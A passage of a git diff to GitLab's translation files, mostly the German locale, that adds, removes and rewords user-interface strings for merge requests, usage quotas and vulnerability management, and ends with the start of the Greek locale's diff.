msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr "Dieses Datum ist nach dem Fälligkeitsdatum, daher erscheint dieses Epic nicht in der Roadmap."
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr "Dieses Datum ist vor dem Startdatum, daher erscheint dieses Epic nicht in der Roadmap."
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Dieser Merge-Request ist gesperrt."
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr "Dieses Projekt hat derzeit noch keine Wiki-Startseite"
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr "Dieses Projekt ist archiviert und kann nicht kommentiert werden."
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr "So richtest du die SAML-Authentifizierung für deine Gruppe über einen Identitätsanbieter wie Azure, Okta, Onelogin, Ping Identity oder deinen benutzerdefinierten SAML 2.0-Anbieter ein:"
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,11 +36645,11 @@ msgstr "Morgen"
msgid "Too many changes to show."
msgstr "Zu viele Änderungen um sie anzuzeigen."
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
-msgstr "Zu viele Namespaces aktiviert. Sie müssen sie über die Konsole oder die API verwalten."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
+msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
-msgstr "Zu viele Projekte aktviert. Sie müssen sie über die Konsole oder die API verwalten."
+msgid "Too many projects enabled. Manage them through the console or the API."
+msgstr ""
msgid "TopNav|Go back"
msgstr ""
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr "Verfolge die Zeit mit Kurzbefehlen"
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr "Der Diff konnten nicht geladen werden. %{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr "Das Merge-Request-Widget konnte nicht geladen werden. Versuchen Sie die Seite neu zu laden."
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr "Aktualisiere"
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr "Zum Upload klicken"
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr "Uptime"
msgid "Upvotes"
msgstr "Upvotes"
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr "Bestätigt"
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr "Wenn ein Runner gesperrt ist, kann er keinem anderen Projekt zugewiesen werden"
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr "Wenn die URL leer gelassen wird, können Klassifizierungslabels weiterhi
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,14 +39844,11 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
-msgstr "Du kannst Dateien nur bearbeiten, wenn du dich auf einem Branch befindest"
-
-msgid "You can only merge once the items above are resolved."
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once this merge request is approved."
-msgstr ""
+msgid "You can only edit files when you are on a branch"
+msgstr "Du kannst Dateien nur bearbeiten, wenn du dich auf einem Branch befindest"
msgid "You can only transfer the project to namespaces you manage."
msgstr ""
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr "Du hast noch keine Abonnements"
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr "Du wirst nur Benachrichtigungen für Kommentare erhalten, in denen du @e
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr "Dynamic Application Security Testing (DAST) entdeckt Schwachstellen in d
msgid "ciReport|Failed to load %{reportName} report"
msgstr "Fehler beim Laden des Berichts %{reportName}"
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr "Behoben:"
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr "Lade Bericht %{reportName}"
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr "Lizenzen verwalten"
@@ -40330,6 +40993,9 @@ msgstr "Sicherheitsüberprüfung"
msgid "ciReport|Security scanning failed loading any results"
msgstr "Sicherheitsscan schlug beim Laden der Ergebnisse fehl"
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr "Lösung"
@@ -40700,21 +41366,9 @@ msgstr "Vorgehen beim Import"
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr "In Gruppe %{link_to_group}"
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr "im Projekt %{link_to_project}"
@@ -40867,9 +41521,6 @@ msgstr "gesperrt durch %{path_lock_user_name} %{created_at}"
msgid "log in"
msgstr "einloggen"
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr "manuell"
@@ -40899,15 +41550,15 @@ msgstr ""
msgid "most recent deployment"
msgstr "letzte Bereitstellung"
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} und %{mergeCommitCount} werden zu %{targetBranch} hinzugefügt."
-
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} werden zu %{targetBranch} hinzugefügt"
-
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 Merge-Commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
+msgstr ""
+
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr "Bitte stelle es wieder her, oder verwende einen anderen Branch %{missingBranchName}"
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr "%{metricsLinkStart} Speicherauslastung %{metricsLinkEnd} %{emphasisStart
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr "%{metricsLinkStart} Speicherauslastung %{metricsLinkEnd} ist %{emphasisStart} unverändert %{emphasisEnd} bei %{memoryFrom} MB"
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr "Quellbranch löschen"
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr "Bereitstellungsstatistiken derzeit nicht verfügbar"
@@ -41024,12 +41675,18 @@ msgstr "Wurde nicht geschlossen"
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr "E-Mail-Patches"
msgid "mrWidget|Failed to load deployment statistics"
msgstr "Fehler beim Laden der Bereitstellungsstatistiken"
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr "Merge"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Merge fehlgeschlagen."
msgid "mrWidget|Merge locally"
msgstr "Lokal mergen"
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr "Merged von"
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41126,14 +41807,11 @@ msgid "mrWidget|Remove from merge train"
msgstr ""
msgid "mrWidget|Request to merge"
-msgstr "Anfrage zum Mergen"
+msgstr "Anfrage zum Mergen von"
msgid "mrWidget|Resolve conflicts"
msgstr "Konflikte auflösen"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr "Löse diese Konflikte oder frage jemanden mit Schreibzugriff auf dieses Repository, um es lokal zusammenzuführen"
-
msgid "mrWidget|Revert"
msgstr "Zurücksetzen"
@@ -41164,9 +41842,6 @@ msgstr "Die Änderungen wurden gemerged nach"
msgid "mrWidget|The changes were not merged into"
msgstr "Die Änderungen wurden nicht gemerged nach"
-msgid "mrWidget|The changes will be merged into"
-msgstr "Die Änderungen werden gemerged nach"
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,37 +41857,28 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr "Der Quellbranch wird gerade gelöscht"
-msgid "mrWidget|The source branch will be deleted"
-msgstr "Der Quellbranch wird gelöscht"
-
-msgid "mrWidget|The source branch will not be deleted"
-msgstr "Der Quellbranch wird nicht gelöscht"
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "Es gibt Merge-Konflikte"
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr "Dieser Merge-Request konnte nicht automatisch gemerged werden"
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr "Dieses Projekt wurde archiviert, der Schreibzugriff wurde deaktiviert"
-
msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgstr ""
+
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
+msgid "mrWidget|What is a merge train?"
msgstr ""
msgid "mrWidget|Your password"
@@ -41222,7 +41888,7 @@ msgid "mrWidget|branch does not exist."
msgstr "Branch existiert nicht."
msgid "mrWidget|into"
-msgstr "hinein"
+msgstr "in"
msgid "must be a Debian package"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr "Pipeline"
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr "Einloggen"
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr "Sortierung:"
-
msgid "source"
msgstr "Quelle"
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/el_GR/gitlab.po b/locale/el_GR/gitlab.po
index 686b5a891fa..48c3723a4a9 100644
--- a/locale/el_GR/gitlab.po
+++ b/locale/el_GR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: el\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:40\n"
+"PO-Revision-Date: 2021-12-06 18:58\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
